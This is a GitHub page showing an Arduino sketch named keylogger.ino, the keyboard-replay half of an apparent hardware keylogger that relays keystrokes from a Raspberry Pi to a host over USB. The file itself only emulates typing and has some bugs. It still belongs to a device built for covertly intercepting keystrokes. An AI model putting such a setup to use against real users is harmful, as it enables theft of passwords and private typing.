-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathkeylogger.ino
113 lines (109 loc) · 2.81 KB
/
keylogger.ino
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
/*
keyloggerr.ino is part of the K3yP1 project
Author: CuPcakeN1njA
*/
#include "Keyboard.h"
byte byteRead;
char character;
void setup()
{
Keyboard.begin();
Serial.begin(4800); /* This allows the program to print the serial data to a serial monitor to help when testing */
Serial1.begin(9600);
}
void loop() {
if (Serial1.available()) {
byteRead = Serial1.read();
if(byteRead==5){
Serial.print("Execution charcater detected!"); /* You can delete lines with "serial.print" as these are only for testing, make sure you don't touch "serial1.print" as this is what reads the data from the PI */
}
else if(byteRead == 13){ /* Return */
Serial.write(176);
Keyboard.write(176);
}
else if(byteRead == 127){ /* Backspace */
Serial.write(178);
Keyboard.write(178);
}
else if(byteRead == 9){ /* Tab */
Serial.write(179);
Keyboard.write(179);
}
else if(byteRead == 126){ /* Delete */
Serial.write(212);
Keyboard.write(212);
}
else if(byteRead == 27){ /* Esc */
Serial.write(177);
Keyboard.write(177);
}
else if(byteRead == 11){ /* ^k */
Serial.write("^k");
Keyboard.press(128);
Keyboard.press(107);
Keyboard.releaseAll();
}
else if(byteRead == 9){ /* ^i */
Serial.write("^i");
Keyboard.press(128);
Keyboard.press(105);
Keyboard.releaseAll();
}
else if(byteRead == 21){ /* ^u */
Serial.write("^u");
Keyboard.press(128);
Keyboard.press(117);
Keyboard.releaseAll();
}
else if(byteRead == 2){ /* ^b */
Serial.write("^b");
Keyboard.press(128);
Keyboard.press(98);
Keyboard.releaseAll();
}
else if(byteRead == 25){ /* ^y */
Serial.write("^y");
Keyboard.press(128);
Keyboard.press(121);
Keyboard.releaseAll();
}
else if(byteRead == 26){ /* ^z */
Serial.write("^z");
Keyboard.press(128);
Keyboard.press(122);
Keyboard.releaseAll();
}
else if(byteRead == 22){ /* ^v */
Serial.write("^v");
Keyboard.press(128);
Keyboard.press(118);
Keyboard.releaseAll();
}
else if(byteRead == 3){ /* ^c */
Serial.write("^c");
Keyboard.press(128);
Keyboard.press(99);
Keyboard.releaseAll();
}
else if(byteRead == 1){ /* ^a */
Serial.write("^b");
Keyboard.press(128);
Keyboard.press(97);
Keyboard.releaseAll();
}
else if(byteRead == 222){ /* ctrl-alt-delete */
Serial.write("ctrl-alt-del");
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(KEY_DELETE);
delay(100);
Keyboard.releaseAll();
}
else{
Serial.write(byteRead);
character = char(byteRead);
Keyboard.print(character);
}
Keyboard.end();
}
}